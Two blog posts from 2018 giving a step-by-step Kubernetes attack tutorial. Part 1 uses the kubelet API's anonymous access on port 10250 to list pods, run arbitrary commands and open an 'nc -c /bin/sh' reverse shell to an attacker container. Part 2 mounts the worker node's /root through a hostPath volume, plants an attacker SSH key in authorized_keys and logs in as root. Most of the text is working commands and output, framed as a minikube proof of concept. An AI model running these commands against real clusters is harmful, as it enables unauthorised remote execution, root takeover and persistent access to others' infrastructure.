Sunday 8 April 2018

Hacking kubernetes part 2 - Getting root access to the worker node method 1 (By misconfiguration)

Hi everyone, in today's post I am going to explain how to ssh into the worker node where the pod is hosted. In order to do this, you need to be able to complete part 1 of this tutorial, if you have not seen yet, please do before watching this one.
Now that you are inside the hacked pod with ssh connection, let's try to mount the root volume for the worker node where this pod is running. You should be able to this as it's enabled by default, if the sysadmin didn't changed it, you are good to go. You need this file and the permission to launch pods from inside the hacked pod, again, if that pod is using the default service account you should be able to do it.

File : deployment.yaml

---
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: task-pv-claim
spec:
  storageClassName: manual
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
---
kind: PersistentVolume
apiVersion: v1
metadata:
  name: task-pv-volume
  labels:
    type: local
spec:
  storageClassName: manual
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteOnce
  hostPath:
    path: "/root"
---
kind: Pod
apiVersion: v1
metadata:
  name: sshworker
spec:
  volumes:
    - name: task-pv-storage
      persistentVolumeClaim:
       claimName: task-pv-claim
  containers:
    - name: task-pv-container
      image: centos
      name: sshworker
      command: ["sleep"]
      args: ["66666"]
      volumeMounts:
        - mountPath: "/mnt/worker_node"
          name: task-pv-storage

From inside the hacked pod, apply this config file

[root@hacked-6565c4954f-fnnvj /]# kubectl apply -f deployment.yaml


Now open a bash session on the pod that you just created from inside the hacked pod :


[root@hacked-6565c4954f-fnnvj /]# kubectl exec -ti sshworker /bin/bash


If everything went ok, you should be able to see the contents of the /root folder of the worker node.


[root@sshworker /]# cd /mnt/worker_node/
[root@sshworker worker_node]# 
[root@sshworker worker_node]# ls -la
total 8
drwxr-xr-x 3 root root    0 Apr  8 18:01 .
drwxr-xr-x 1 root root 4096 Apr  8 17:59 ..
-rw------- 1 root root 1737 Apr  8 17:56 .bash_history
drwx------ 2 root root    0 Apr  4 20:48 .ssh
-rw-r--r-- 1 root root    0 Apr  8 18:01 minikube_host

Now go back to the sshworker pod. You need to install a few packages to generate the ssh keys:


[root@sshworker worker_node]# yum install -y -q openssh-clients.x86_64 openssh.x86_64
warning: /var/cache/yum/x86_64/7/base/packages/fipscheck-lib-1.4.1-6.el7.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
Public key for fipscheck-lib-1.4.1-6.el7.x86_64.rpm is not installed
Public key for openssh-7.4p1-13.el7_4.x86_64.rpm is not installed
Importing GPG key 0xF4A80EB5:
 Userid     : "CentOS-7 Key (CentOS 7 Official Signing Key) "
 Fingerprint: 6341 ab27 53d7 8a78 a7c2 7bb1 24c6 a8a7 f4a8 0eb5
 Package    : centos-release-7-4.1708.el7.centos.x86_64 (@CentOS)
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[root@sshworker worker_node]#

Now let's generate a ssh key with :


[root@sshworker /]# ssh-keygen -t rsa -b 4096 -f /tmp/hacker.key -q -N ''
[root@sshworker /]#


Check if there is a .ssh folder on root, if there is you don't have to do the following steps, but if can't see, then you do:


ls -la .ssh ( is nothing, then...)
mkdir .ssh
chmod 700 .ssh
cd .ssh


Now add you public key to the authorized_keys file:


cat /tmp/hacker.key.pub >> authorized_keys
chmod 600 authorized_keys


Now get the ip address of the host where your pod is running with, run this from the hacked pod where you have installed kubectl command:


[root@hacked-6565c4954f-fnnvj /]# kubectl describe pod sshworker | grep Node:
Node:         k8sdemo/192.168.99.100


And now try to ssh into the host:


[root@sshworker .ssh]# ssh -i /tmp/hacker.key -o StrictHostKeyChecking=no root@192.168.99.100
                         _             _
            _         _ ( )           ( )
  ___ ___  (_)  ___  (_)| |/')  _   _ | |_      __
/' _ ` _ `\| |/' _ `\| || , <  ( ) ( )| '_`\  /'__`\
| ( ) ( ) || || ( ) || || |\`\ | (_) || |_) )(  ___/
(_) (_) (_)(_)(_) (_)(_)(_) (_)`\___/'(_,__/'`\____)

# id
uid=0(root) gid=0(root) groups=0(root)



And boom!!! You are on the worker node, now you can do this for all other worker nodes.

Sunday 1 April 2018

Hacking kubernetes part 1 - Kubelet exec and reverse shell from pod.

Hello everyone, it's been a while since my last post, main reason is because there was nothing interesting to post until now :) I will be posting a series of posts on how to hack kubernetes since this is a hot topic at the moment.

Kubelet api by default allows  to be accessed with anonymous auth, no keys , no password, nothing is needed.


This is what you are going to need to reproduce this :

1) Running  kubernetes <=1.9 , it has been fixed  on version 1.10: https://github.com/kubernetes/kubernetes/pull/59666
2) Kubelet api  port must be exposed to the internet or to your local network, the port 10255 and 10250
3) rbac rules misconfigured or not even present.
4) A cluster to test, I recommend installing minikube.
5) You need to find a container that is not read only to install stuff, but even if it's not read only, you can get a lot of info from it like secrets and aws iam information.


So, let's do this, I did this on minikube just to play and prove the concept. That's the easiest way to play with this vulnerability. So go ahead and install minikube or you can run this on your cluster.
Once you have your minikube installed , you need to the ip address, get it with



angelo http://poc-hack.blogspot.co.uk/:~ minikube ip


Mine is 192,.168.99.100, yours might be different. In order to do the curl's below, you are going to need the pod name and the id.
So let's launch 2 pods, one with the vulnerable host and the other one that will be waiting our reverse shell.
1) Launch the evil container that will be listening for our reverse shell.


angelo http://poc-hack.blogspot.co.uk/:~ kubectl run evil --image=centos -it /bin/bash



2) Lauch the hacked container that we will use to hack into.


angelo http://poc-hack.blogspot.co.uk/:~ kubectl run hacked --image=centos -it /bin/bash



The pod name is "hacked" and the pod id you can get with :


angelo http://poc-hack.blogspot.co.uk/:~ kubectl get pods
NAME                                  READY     STATUS    RESTARTS        AGE
hacked-65d6998b6c-rgl28               1/1       Running    1              48m
evil-7d7fff7d4c-5lmfz                 1/1       Running    1              1



So in my case, the pod name is "hacked" and the pod id is "hacked-65d6998b6c-rgl28"
If you are wondering how are you going to get this information from outside, this is how :


angelo http://poc-hack.blogspot.co.uk/:~ curl --insecure \
 https://kube-node-here:10250/pods | jq



In my case, that command would translate to 192.168.99.100 because that's my minikube ip, in a real case scenario, that would be the ip of the master node and this is to get the pod names:


angelo http://poc-hack.blogspot.co.uk/:~ curl -s --insecure \
https://192.168.99.100:10250/runningpods/ | jq .items[].spec.containers[].name
"mongodb"
"external-evil-host"
"hacked"
"sidecar"
"dnsmasq"
"kubedns"
"kubernetes-dashboard"
"storage-provisioner"
"kube-addon-manager"



And this is how to get the pod ids :

angelo http://poc-hack.blogspot.co.uk/:~ curl -s --insecure \
https://192.168.99.100:10250/runningpods/ | jq .items[].metadata.name
"mongodb-68cbf975f7-45kjh"
"external-evil-host-78d68f7789-2dmvw"
"hacked-6565c4954f-wdj4x"
"kube-dns-54cccfbdf8-dvtcm"
"kubernetes-dashboard-77d8b98585-mtpp9"
"storage-provisioner"
"kube-addon-manager-k8sdemo"

From the command above you can get the pod id and name.
Now let's get into the interesting part.
Open 3 tabs on your terminal, one with a shell on the hacked container, one on the evil container and another one where you are going to run lots of curl commands.
The first thing you are going to do is to create a file a test. Run this on your localhost.


angelo http://poc-hack.blogspot.co.uk/:~ curl -sk \
https://192.168.99.100:10250/run/default/hacked-6565c4954f-wdj4x/hacked \
-d "cmd=touch /hello_world"



Now check your hacked container shell, and check if the file hello_world was created :


angelo http://poc-hack.blogspot.co.uk/:~ kubectl exec -ti hacked-65d6998b6c-rgl28 /bin/bash
[root@hacked-65d6998b6c-rgl28 /]#
[root@hacked-65d6998b6c-rgl28 /]# ls -la /hello_world
-rw-r--r-- 1 root root 0 Mar 22 16:22 /hello_world


Alright, now that we know that all is well and working, let's install nc on that hacked box, so we can launch a reverse shell:
1) Install nc in case it's not there yet.

angelo http://poc-hack.blogspot.co.uk/:~  curl -sk \
https://192.168.99.100:10250/run/default/hacked-6565c4954f-wdj4x/hacked \
-d "cmd=yum install -y nc"

Loaded plugins: fastestmirror, ovl
Loading mirror speeds from cached hostfile
 * base: mirror.freethought-internet.co.uk
 * extras: mirrors.coreix.net
 * updates: mirrors.coreix.net
Resolving Dependencies
--> Running transaction check
---> Package nmap-ncat.x86_64 2:6.40-7.el7 will be installed
--> Finished Dependency Resolution
Dependencies Resolved
========================================================================
 Package            Arch            Version                 Repository     Size
========================================================================
Installing:
 nmap-ncat          x86_64          2:6.40-7.el7            base          201 k
Transaction Summary
========================================================================
Install  1 Package
Total download size: 201 k
Installed size: 414 k
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : 2:nmap-ncat-6.40-7.el7.x86_64                                1/1
  Verifying  : 2:nmap-ncat-6.40-7.el7.x86_64                                1/1
Installed:
  nmap-ncat.x86_64 2:6.40-7.el7
Complete!

2) Do the same for the evil container (execute this on your localhost):



[root@evil-ccb5dd4fc-tqf9s /]# yum install -y nc net-tools
Loaded plugins: fastestmirror, ovl
base                                                                                                                                      | 3.6 kB  00:00:00
extras                                                                                                                                    | 3.4 kB  00:00:00
updates                                                                                                                                   | 3.4 kB  00:00:00
(1/4): extras/7/x86_64/primary_db                                                                                                         | 185 kB  00:00:00
(2/4): base/7/x86_64/group_gz                                                                                                             | 156 kB  00:00:02
(3/4): updates/7/x86_64/primary_db                                                                                                        | 6.9 MB  00:00:09
(4/4): base/7/x86_64/primary_db                                                                                                           | 5.7 MB  00:00:26
Determining fastest mirrors
 * base: mirror.econdc.com
 * extras: mirrors.coreix.net
 * updates: mirror.econdc.com
Resolving Dependencies
--> Running transaction check
---> Package nmap-ncat.x86_64 2:6.40-7.el7 will be installed
--> Processing Dependency: libpcap.so.1()(64bit) for package: 2:nmap-ncat-6.40-7.el7.x86_64
--> Running transaction check
---> Package libpcap.x86_64 14:1.5.3-9.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

=================================================================================================================================================================
 Package                                Arch                                Version                                      Repository                         Size
=================================================================================================================================================================
Installing:
 nmap-ncat                              x86_64                              2:6.40-7.el7                                 base                              201 k
Installing for dependencies:
 libpcap                                x86_64                              14:1.5.3-9.el7                               base                              138 k

Transaction Summary
=================================================================================================================================================================
Install  1 Package (+1 Dependent package)

Total download size: 338 k
Installed size: 731 k
Downloading packages:
warning: /var/cache/yum/x86_64/7/base/packages/nmap-ncat-6.40-7.el7.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
Public key for nmap-ncat-6.40-7.el7.x86_64.rpm is not installed
(1/2): nmap-ncat-6.40-7.el7.x86_64.rpm                                                                                                    | 201 kB  00:00:00
(2/2): libpcap-1.5.3-9.el7.x86_64.rpm                                                                                                     | 138 kB  00:00:04
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
Total                                                                                                                             82 kB/s | 338 kB  00:00:04
Retrieving key from file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
Importing GPG key 0xF4A80EB5:
 Userid     : "CentOS-7 Key (CentOS 7 Official Signing Key) "
 Fingerprint: 6341 ab27 53d7 8a78 a7c2 7bb1 24c6 a8a7 f4a8 0eb5
 Package    : centos-release-7-4.1708.el7.centos.x86_64 (@CentOS)
 From       : /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : 14:libpcap-1.5.3-9.el7.x86_64                                                                                                                 1/2
  Installing : 2:nmap-ncat-6.40-7.el7.x86_64                                                                                                                 2/2
  Verifying  : 2:nmap-ncat-6.40-7.el7.x86_64                                                                                                                 1/2
  Verifying  : 14:libpcap-1.5.3-9.el7.x86_64                                                                                                                 2/2

Installed:
  nmap-ncat.x86_64 2:6.40-7.el7

Dependency Installed:
  libpcap.x86_64 14:1.5.3-9.el7

Complete!




3) Prepare the reverse shell connection on your evil host (execute this on your evil container, you need to get the ip address, so you can use on the other container to connect to this one:


[root@evil-ccb5dd4fc-tqf9s /]# ifconfig | grep inet | head -n1
        inet 172.17.0.4  netmask 255.255.0.0  broadcast 0.0.0.0

[root@external-evil-host-78d68f7789-2dmvw ~]# nc -l -p 6666



4) Now let's try to run a reverse shell and get shell access to the container


angelo http://poc-hack.blogspot.co.uk/:~  curl -sk \
https://192.168.99.100:10250/run/default/hacked-6565c4954f-wdj4x/hacked \
-d "cmd=nc -c /bin/sh 172.17.0.4 6666"




6) Now go to the evil host and you should see the connecting from the hacked box:



root@external-evil-host-78d68f7789-2dmvw ~]# nc -l -p 6666 
id
uid=0(root) gid=0(root) groups=0(root)



And that's it, you are inside, game over.